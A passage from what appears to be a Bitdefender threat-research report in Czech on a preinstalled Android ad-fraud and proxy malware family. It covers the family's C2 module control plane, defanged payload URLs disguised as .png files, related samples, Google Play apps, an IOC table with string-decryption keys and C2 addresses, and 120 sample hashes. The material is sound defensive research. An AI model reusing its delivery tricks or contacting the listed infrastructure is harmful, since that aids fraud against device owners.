{"imei":..,"androidId":..,"mac":..,"simCode":"CN","channelId":"20240425","timezone":..} C2 RETURNS (AES/CBC/PKCS5, decrypted) — remote module control plane:
{"list":[{"sdkName":"wz","status":1,"updateStatus":1,"version":20311},
{"sdkName":"earn",...,"version":5},
{"sdkName":"bl",...,"version":10014}]}
per-module: {"size":"20311","iconDesc":"1782294f...","warningIcon":"https://oss.showtimetool[.]com/...png"}getConfigs určuje pluginy, verze i umístění stažení pomocí warningIcon a MD5 iconDesc. Telemetrický endpoint /odborwer_dot/cm vrací jen pevné potvrzení {"a":0}.
Adresy pro stažení modulů z dešifrované konfigurace, poskytované na CDN jako .png:
wz v20311: hxxps://oss[.]showtimetool[.]com/ssc/2026/08-13/[REDACTED].png
kwlib v100007: hxxps://oss[.]showtimetool[.]com/ssc/2026/07-04/[REDACTED].png
gogo v10014: hxxps://oss[.]showtimetool[.]com/ssc/2026/03-09/[REDACTED].png
earn v5: hxxps://oss[.]showtimetool[.]com/ssc/2025/12-07/[REDACTED].png
Příbuzné vzorky: rodina s více názvy
Dotaz podle podobnosti manifestu odhalil další falešné systémové aplikace. Podobná struktura AOSP sama nestačí, proto se příbuznost potvrzovala konkrétními znaky: libeasy.so či přejmenovaným jádrem, frameworkem cn.kw.lib rozbaleným pomocí RC4, C2 api.weatherlive[.]world, napojením na zpřístupnění a neobvyklým schématem versionCode 900000 a výše.
Nejde o jediný balíček. Stejné jádro se dodává pod několika systémovými názvy.
Sample (MD5) Package (versionCode) Confirming markers Verdict
b862681953e945439167a736ba4cd41b com.android.system.lite (900000) libeasy.so, api.weatherlive.world, MonitorAccessibility Same family — sibling build of this enabler, using a different signing certificate
d4ceb05682ecd60f4ebb4e76e02fcf7d com.android.sys.prot (900014) cn.kw.lib, api.weatherlive.world, MonitorAccessibility; native core renamed to libunionprt.so Same family — variant enabler
2b784622422f4280e0b3e38b30dd87bc com.android.sys.gmsprot (100000) libeasy.so, cn.kw.lib, api.weatherlive.world Same family — variant enablerBinární analýza potvrzuje jednu rodinu aktivátorů com.android.system.lite a com.android.sys.* se společným jádrem libeasy/cn.kw.lib a C2 weatherlive. První uvedený vzorek je sesterské sestavení s jiným certifikátem, další dva jsou varianty aktivátoru.
Proč se objevuje Shenzhen Zediel Co., Ltd.
com.android.system.lite podepisuje platformový certifikát 0105bc4c… s DN CN=ZED, O=ZED, L=ShenZhen, C=CN a ZED@Zediel.com. Tyto údaje odpovídají výrobci Android zařízení a tabletů Shenzhen Zediel Co., Ltd., který má přidělení IEEE MAC:
MAC OUI A0:53:94, blok MA-L registrovaný 3. listopadu 2021. Jde o ukazatel na úrovni zařízení. Wi-Fi MAC začínající tímto prefixem odkazuje na sestavení Zediel a může pomoci hledat zařízení v telemetrii bez ohledu na aktuální komponenty i odhadnout rozsah flotily.
Modely v telemetrii to nezávisle podporují. Hlášené řetězce převážně odpovídají levným telefonům prodávaným pod cizí značkou a vykazují dva vzorce.
Prvním jsou regionální přípony firmwaru _EEA a _US, typické pro bezejmenná ODM zařízení, a syrové názvy podpůrných balíků desek. Aplikace nainstalovaná uživatelem nezpůsobí, aby se název desky hlásil jako model. To odpovídá komponentě ve firmwaru.
Druhým je pojmenování podle padělaných vlajkových modelů Samsungu vedle skutečných levných odolných telefonů, z nichž dva lze přiřadit reálným výrobcům.
| Vzorec | Modely |
|---|---|
| Regionální sestavení ODM firmwaru | J10_EEA, A9_EEA, T13_EEA, Q6_EEA |
| Názvy podpůrných balíků desek | k62v1_64_bsp (MediaTek MT6762) |
| Názvy napodobující vlajkové modely | S25 Ultra, S24 Ultra, S26 Ultra |
| Levné odolné značkové telefony | S200 X (Doogee), KINGKONG X (Cubot) |
Ukázkové řetězce modelů z telemetrie podle vzorců. Regionální kódy a názvy desek ukazují na dodání ve firmwaru, napodobeniny vlajkových modelů na segment tržiště.
Seznam je vhodné chápat jako důkaz distribučního mechanismu, nikoli seznam cílových modelů. Regionální značky a názvy desek ukazují na umístění v ROM.
Padělaná prestižní jména i levné odolné značky ukazují na ODM ekosystém prodávaný globálními tržišti. Jednotlivé názvy jsou méně důležité než společný závěr: malware byl dodán ve firmwaru.
Důležité upřesnění: vazba na dodavatelský řetězec vychází z platformového klíče podepisujícího aktivátor. Technické přiřazení není důkazem, že Shenzhen Zediel malware vytvořil, distribuoval nebo o něm věděl. Provozovatel malwaru je sledován odděleně a mezi držitelem certifikátu a místem vložení může stát více prostředníků.
Historická linie provozovatele: Joker, Phantom/Click a tato skupina
Záznam Dr.Web Android.Phantom.5 uvádí stejné ukazatele cgb.jingongbuxiao[.]com a 5.ahd187[.]com/thirdsdk/flowcashpack/ a odkazuje na zhuifengzhe[.]top. Tuto doménu používal Android.Joker.310.origin už v roce 2021 pro prémiové SMS a vzdálené načítání kódu. Vzniká víceletá časová vazba:
| Období | Rodina | Chování | Infrastruktura |
|---|---|---|---|
| 2021 | Android.Joker.310/242.origin | Podvody s prémiovými SMS a vzdálené načítání DEX. | Zhuifengzhe[.]top |
| 2025 | Android.Phantom.5 (dropper) → Android.Click.429.origin | Dropper dešifrující bajtové pole, následovaný klikacím podvodem přes JavaScript a WebView. | Cgb.jingongbuxiao[.]com, 5.ahd187[.]com/thirdsdk/flowcashpack/, Zhuifengzhe[.]top, Fyapi.freeflightbird[.]com, Newsadapi.zhuifengzhe[.]top |
| 2024-2025 | Midnight Mimosa | Předinstalovaný aktivátor, reklamní a klikací podvody a rezidenční proxy. | api.weatherlive.world, Cgb.jingongbuxiao[.]com, 5.ahd187[.]com, C2 proxy komponent EnLoaderLib a dykr. |
Stejný kód na Google Play
Kampaň se neomezuje na firmware. Třináct aplikací publikovaných na Google Play obsahovalo stejné rodinné znaky jako krycí aplikace, tentokrát v sestaveních distribuovaných samotným obchodem.
| Číslo | Balíček |
|---|---|
| 1 | com.audify.editor.wavrge |
| 2 | appicon.diy.tools.prop |
| 3 | com.audify.editor.pro |
| 4 | com.prorestore.qr |
| 5 | com.message.recovery.prorestore |
| 6 | com.go.weather.mot |
| 7 | com.cool.weather.yl |
| 8 | com.dmstudio.weather |
| 9 | com.dl.guard.lock |
| 10 | picturetranslate.extractor.text.lite |
| 11 | com.notemaster.record.mark |
| 12 | com.arabmusic.tap.aghani_tamerhosny |
| 13 | org.life.goal.tools |
Aplikace publikované na Google Play se znaky rodiny reklamních podvodů.
Jde o pravá sestavení z Play s podpisovým blokem, jehož nepřítomnost dříve prozradila podvržené instalace. Jejich původ je skutečný: prošla kontrolou Play a Google je doručil lidem hledajícím počasí či QR skener. Padělaný hardware zde není potřeba.
Podpisové identity se záměrně střídají. Třináct balíčků má třináct certifikátů a nejméně dva vývojářské účty, fivedev a CPS Developer. Ostatní zůstaly neurčeny.
Spojuje je kód, nikoli certifikát. Střídání podpisu pro každý balíček počítá s tím, že jednotlivé aplikace budou časem odhaleny.
Přestože skutečně poskytují určité funkce, načítají a zobrazují reklamy i mimo vlastní aplikaci, někdy dokonce během nečinnosti telefonu.
Originál ukazuje příklad aplikace z Google Play komunikující se stejnými servery jako předinstalovaný malware.
Kampaň má dva nezávislé distribuční kanály. Firmware levného hardwaru zasahuje lidi bez jejich instalační volby, oficiální obchod ty, kdo aplikaci zvolili sami. Obě větve používají stejný reklamní kód a infrastrukturu. Odstranění jedné druhou nevyřeší.
Závěry
Předinstalovaný malware je odlišná třída hrozeb. Uživatelské obrany předpokládají účast vlastníka při instalaci: potvrzení, kontrolu obchodu, Play Protect a možnost pozdější odinstalace.
Platformově podepsaná systémová aplikace s INSTALL_PACKAGES a GRANT_RUNTIME_PERMISSIONS vlastníka z procesu úplně vyřadí. Tato kampaň navíc vypíná zbývající automatickou obranu. Kompromitace je dokončena ještě před prvním zapnutím.
Vrstvení samo slouží jako obrana před analýzou. APK je prázdná slupka, nativní knihovna odskakuje do šifrovaného bloku, framework má šifrované řetězce, JAR pluginy příponu .o a APK se doručují jako .png. Moduly přicházejí vzdáleně a staticky zkoumaný vzorek často vůbec neobsahuje aktivní kód. Detekce musí překonat obaly nebo sledovat chování.
Jeden provozovatel, mnoho názvů: střídání balíčků, certifikátů a názvů knihoven rychle znehodnocuje seznam blokovaných jmen. Detekce má sledovat neměnné jádro libeasy.so, cn.kw.lib.hex a C2 api.weatherlive[.]world.
Náprava se nemůže opírat o odinstalaci. Kořenová komponenta je v systémovém oddílu, takže ji vlastník běžně neodstraní. Vyčištění vyžaduje zásah do firmwaru nebo vypnutí přes ADB; ani jedno není pro většinu majitelů realistické. Trvalé řešení leží na výrobcích a tržištích distribuujících dotčený firmware.
| Typ | Indikátor | Kontext |
|---|---|---|
| Hostitel | api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs | Řídicí kanál modulů AES/HmacMD5. |
| Hostitel | api.weatherlive[.]world/odborwer_dot/cm | Telemetrie DotReporter. |
| Hostitel | oss.showtimetool[.]com | CDN modulů a souborů; kód dodávaný jako .png. |
| Hostitel | 39.96.8.180:9008/ssc/rprt/bug | C2 pro hlášení chyb frameworku DX/S1. |
| Hostitel | 120.78.215.151:80/api/bugLog | C2 pro hlášení pádů vloženého frameworku. |
| Hostitel | 85.17.70.38:6000 (live) | V původní tabulce řídicí server proxy EnLoaderLib z applock.en. Pozdější oprava v tomto článku jej označuje za sinkhole, nikoli skutečný C2. |
| Hostitel | *.apple.{0aa0cf0637d66c0d[.]com, aa86a52a98162b7d[.]com, 442fe7151fb1e9b5[.]com, v46wd6uramzkmeeo[.]in} | Řídicí hostitelé proxy podle vzorce {productId}.apple.<domain>:6000. |
| Balíček | com.android.system.lite (vc 900000, “System”) | Systémový aktivátor. |
| Balíček | com.mobile.applock.en / .wt / .tg | Dodané droppery gogo pro proxy a reklamní podvody. |
| Soubor | libeasy.so (a8847b68428fde206b6dff8001051f92) | Nativní jádro rozbalující cn.kw.lib.hex pomocí RC4. |
| Šifra | AES-128-CFB key=MD5(“aGV4QCFRQFcjRQ==”) IV 0102030405060708 | Řetězce frameworku hex. |
| Šifra | AES-128-CFB key=MD5(“dHhAZXhAc2Vy”) | Řetězce aktivátoru. |
| Šifra | AES/CFB key=MD5(“ZHhAIVFAVyNF”) (dx@!Q@W#E) | Řetězce pluginů třetí fáze. |
| Rozpoznávací znak | Název instalátoru com.android.vending bez podpisového bloku Play frosting. | Podvržený zdroj instalace a falešný původ z Google Play. |
Úplný soubor vzorků: 120 hashů MD5
| MD5 | Balíček |
|---|---|
| 05ae89e761a890fa24f80f4be7263651 | com.android.browser |
| 1da42505f1c83959c7f901f5139a158e | com.android.browser |
| a147cd8f72aadfcf78f7723db6813e86 | com.android.browser |
| f456f0c6b89bd3d5124699d43971d094 | com.android.browser |
| 2c77653b889dfccd649b82446f8c0d1b | com.android.deskclock |
| 5d29e9b24708c3ec36d1d59036124838 | com.android.deskclock |
| 998e9010e5dfc4e4645f5572cbbe5b53 | com.android.deskclock |
| b3a4405d1b8d43545d07b10581008d32 | com.android.deskclock |
| 0377ca97ac0ca35f9134052fede67a81 | com.android.gallery3d |
| 0b0d8e995e6ff24d4e9d00417446c25e | com.android.gallery3d |
| 1414d4ef2d1191080abc59a407dcb6c5 | com.android.gallery3d |
| 345057421c7d9ac2b671c47449f35030 | com.android.gallery3d |
| 36deebfcda4012d18706cd170c1edf1f | com.android.gallery3d |
| 37f18a20b9cf32e6f07450e903eaad7c | com.android.gallery3d |
| 4507363415e7dc6d2cab14eeed137f6c | com.android.gallery3d |
| 512a6db4a22244272826f39da020fb44 | com.android.gallery3d |
| 5b3a49938f455d1197736971c4c07228 | com.android.gallery3d |
| 6aca76699ec0bb8e51372d5c68c8359b | com.android.gallery3d |
| 815b910f1efc95f38ba0c5b12c4f2129 | com.android.gallery3d |
| c75ec7f3bcbc879aae9a21ad544d3232 | com.android.gallery3d |
| d9fc6b2cd5eaa3929207f1029663d947 | com.android.gallery3d |
| e51c11442a529dcd06dc7c8e45974ec2 | com.android.gallery3d |
| e9b91e1d94bb3ff9a1c00b1c13eb7960 | com.android.gallery3d |
| be22c91b4578ac2357a16133615df335 | com.android.settings |
| d5d88214170875386ab855172f881e51 | com.android.sys.bcprot |
| dce5b0dc0e7d7059b5ab8384a7c24ec4 | com.android.sys.bcprot |
| 61aac6a98abd6dcff0dc41bb88159786 | com.android.sys.dts |
| 2b784622422f4280e0b3e38b30dd87bc | com.android.sys.gmsprot |
| 2b7f1a7d5f5515c05d0c8e3857155ae2 | com.android.sys.prot |
| 3d3358b1057b1bfbd7e60577d8a31e0c | com.android.sys.prot |
| 7400c34f7c6f866499029f5e759f58bd | com.android.sys.prot |
| d4ceb05682ecd60f4ebb4e76e02fcf7d | com.android.sys.prot |
| 60bc23d3d453f258e2c4ca421cd086a9 | com.android.system.lite |
| b862681953e945439167a736ba4cd41b | com.android.system.lite |
| ed1a6bed83899952b464c27aef9752cc | com.android.weapps |
| 0903d7fd3e1d4a599a7eb3c5d356779b | com.android.weiapps |
| a57a1ba15364dfb35d334f644d7049e8 | com.mb.applock.a02 |
| cde0490e11db8ad54737c1df59ec658b | com.mb.applock.ea |
| 08d231c6a5303e543eb60d4181f6a4ea | com.mobile.applock.en |
| 7f7747575980098bdc98e7b7aa362697 | com.mobile.applock.en |
| d3faec4f013c4a1e84a1d681448312c0 | com.mobile.applock.en |
| e75e183027bf897eda6447366c7acd01 | com.mobile.applock.tg |
| 20108557cacd24263e7e611afc327801 | com.mobile.applock.wg |
| aac942aaf6ec0773cbac87fde4a6b284 | com.mobile.applock.wg |
| cf20de9d9ddc952bb2265002d26a916f | com.mobile.applock.wg |
| f602230f54507cbddf5ef3014737d768 | com.mobile.applock.wg |
| 079298a7a506b376def4f4ff9a250672 | com.mobile.applock.wt |
| 20cefb2c667f945d482daded7e698eea | com.mobile.applock.wt |
| 254bc5f6f81de1f3c47534e6febaf023 | com.mobile.applock.wt |
| 31b3280f1c0836c39c470932cf6c3e6f | com.mobile.applock.wt |
| 3b35d3c5667136134b20a8411803c97d | com.mobile.applock.wt |
| 3bc159537c909fa86bcc55eda127b5aa | com.mobile.applock.wt |
| 42a9f64e75911c167ec7a163e8b24920 | com.mobile.applock.wt |
| 4a171f62d1bab01827b06ae73d4caafa | com.mobile.applock.wt |
| 66c6512b9a73425aba40c8bfa95d23a0 | com.mobile.applock.wt |
| 6df909898f5f1394e78508d1152fab38 | com.mobile.applock.wt |
| 6ee2be3e5558085b532dacc8db61f3e9 | com.mobile.applock.wt |
| 6eea0568d5cc776ae03e09149cec3cd8 | com.mobile.applock.wt |
| 765d3ce85a6393d05973c4cfa7738116 | com.mobile.applock.wt |
| 90e0d27d808105167fdaa3a22b918217 | com.mobile.applock.wt |
| 9e7b34e63d8d38e37667f88a945ae69a | com.mobile.applock.wt |
| a02f28387527abe90d73d2879f671972 | com.mobile.applock.wt |
| abe12db77a62ecb99d6ab5dc4fff18c7 | com.mobile.applock.wt |
| de66cac88f156c3227749e03bdf7cf54 | com.mobile.applock.wt |
| e6650dc6721aaa27f8a289ff92e613ff | com.mobile.applock.wt |
| e7c56b4f580da53cd0e4f11d1a11e402 | com.mobile.applock.wt |
| 2de346602433cdd1668f36b2e9db0be1 | com.mobile.applock.xk1 |
| af16072864ae0f9d755f8cf00fded359 | appicon.diy.tools.prop |
| e974cf4cc5d55cddc04f026dd3ea72b8 | appicon.diy.tools.prop |
| 250205ee4b8de59e60c745856f439608 | com.android.non.szcz |
| af7f1eef22bf5ee3d0a394f53ba7e1b8 | com.arabmusic.tap.aghani_tamerhosny |
| 7322d8a65a56a7ab09f4d526cb343e3d | com.awht.zfip.zfyg |
| 0b8d3cd264c191f4884a25d0cc5318b5 | com.cool.weather.yl |
| 33b2d3ec9a35cfb0b5a5d7b24ce4140e | com.cool.weather.yl |
| 3bb270d4927e2a8385793d9084a92fd3 | com.cool.weather.yl |
| 4e46549122c0236307c5eef8891466f5 | com.cool.weather.yl |
| 642d84ed5660407b972f1df642acb192 | com.cool.weather.yl |
| 9a3d04aa36654b5c4b21edd22e46f92d | com.cool.weather.yl |
| b7d0d5ae09b0d2d2f999c1087c450456 | com.cool.weather.yl |
| cdfcc848e16660d607aba6ecf24567f4 | com.cool.weather.yl |
| f0b7b1c940ebcee97eb68f528682fc50 | com.cool.weather.yl |
| 1150da1af88729e54a34b8da5a2741c7 | com.dl.guard.lock |
| 36f9e8cf47a28f9803fba427cf02a25c | com.dl.guard.lock |
| 6739fe083cfa8dec9b4f989ccba0e99e | com.dl.guard.lock |
| ca7e2d265fc35aede432c4636a2cf4cb | com.dl.guard.lock |
| fcb9f38cc687fc8a4637e0acdf91ab66 | com.dl.guard.lock |
| c55c9d7e12cc273b812ceffca8f62d4b | com.energy.appstore |
| 9a46098de785ae732e5fced55a2f3063 | com.fb.w.weather |
| d145b14b9cc15799485f2592b2c16d9a | com.fb.w.weather |
| 0a26a9d5f7ab91cb5eed852cf83ef078 | com.fe2bu1.wh |
| 294ab3f586d76772ae89add417cf6324 | com.fe2bu1.wh |
| a13af0174bc211709e8b73bf60492a17 | com.fe2bu1.wh |
| b974ef4106af6b932df352563a9b8b3c | com.fe2bu1.wh |
| e9ec6d7b50c1e54cd523283b9de55e10 | com.fe2bu1.wh |
| 5400ffac371c5e5c9b7f3705ce9faca5 | com.message.recovery.prorestore |
| 92f2fd8bcccc8ec4ffa64c7f6b3b9b8d | com.message.recovery.prorestore |
| ab8d6be686ca9413e27a11e85f9cef1a | com.message.recovery.prorestore |
| 879168159c155758dbfd7a76e8f21548 | com.notemaster.record.mark |
| b6c5f7dfaf9d47cd67380a48df5e1731 | com.notemaster.record.mark |
| cb19dbf279a3488aec76c17e8e122c14 | com.notemaster.record.mark |
| fc812444baa071f5141ddad812d673de | com.notemaster.record.mark |
| 4f7d3c5859100d65ff02449884841b9c | com.tst.blank |
| 50e9cdc3ed145bbc688356eda07f8eb3 | com.tst.blank |
| 9f1e2249003ab22cf8a38048e0ff6f6c | com.tst.blank |
| e39bddf592016ad6d0784770df3e2ffe | com.yun.wth.er |
| 7469c9c06e5f324ca608e0140156bbad | org.life.goal.tools |
| 4521a5bbe0f33a15da86bd80ff5d6d9c | picturetranslate.extractor.text.lite |
| 8ec360829f4f7ae8dcae47c02b996762 | picturetranslate.extractor.text.lite |
| d56158a2cc8d13778df850907733b2c4 | picturetranslate.extractor.text.lite |
| fac6548a4a7a88156468b809c4f877f5 | com.audify.editor.wavrge |
| ac8957a474f8aa812c7b233aafde4723 | appicon.diy.tools.prop |
| cf4f24fdd283f80313565b08fea9d06d | com.audify.editor.pro |
| 3c098465af131141996ff840bd34e791 | com.prorestore.qr |
| 387f7af167530486adcf3d8546063462 | com.go.weather.mot |
| ee4e778e53ce4d4339d7c7888d06384d | com.dmstudio.weather |
| c8ea2a7c1f52c4c2474475c28373ee27 | com.dl.guard.lock |
| 836739fe7196437d8e998245b6f2b3b4 | picturetranslate.extractor.text.lite |
| d6ba4044f9d57f7e86d83187982ed593 | com.notemaster.record.mark |
| 838dc8fcde1b28171e404ece1cfcde44 | com.arabmusic.tap.aghani_tamerhosny |
| da67e37be01c20566990152ecfb14ed1 | org.life.goal.tools |
Právní upozornění: článek slouží pouze informačním a vzdělávacím účelům jako součást bezpečnostního výzkumu Bitdefenderu. Vychází z technického výzkumu Bitdefender Labs s vlastními detekčními technologiemi a veřejnými zdroji. Bitdefender nečiní právní závěry a netvrdí, že uvedený subjekt jednal nezákonně. Identifikace certifikátů, balíčků či infrastruktury spojených se společnostmi nebo značkami vyjadřuje pouze technické pozorování. Není obviněním z autorství, distribuce ani vědomého umožnění šíření malwaru. Čtenáři mají použít vlastní úsudek a případně se obrátit na úřady či právní poradce. Domény, adresy a technické ukazatele slouží výhradně k rozpoznání potenciálně škodlivé infrastruktury. Ochranné známky patří vlastníkům. Bitdefender odmítá odpovědnost za kroky na základě tohoto článku.











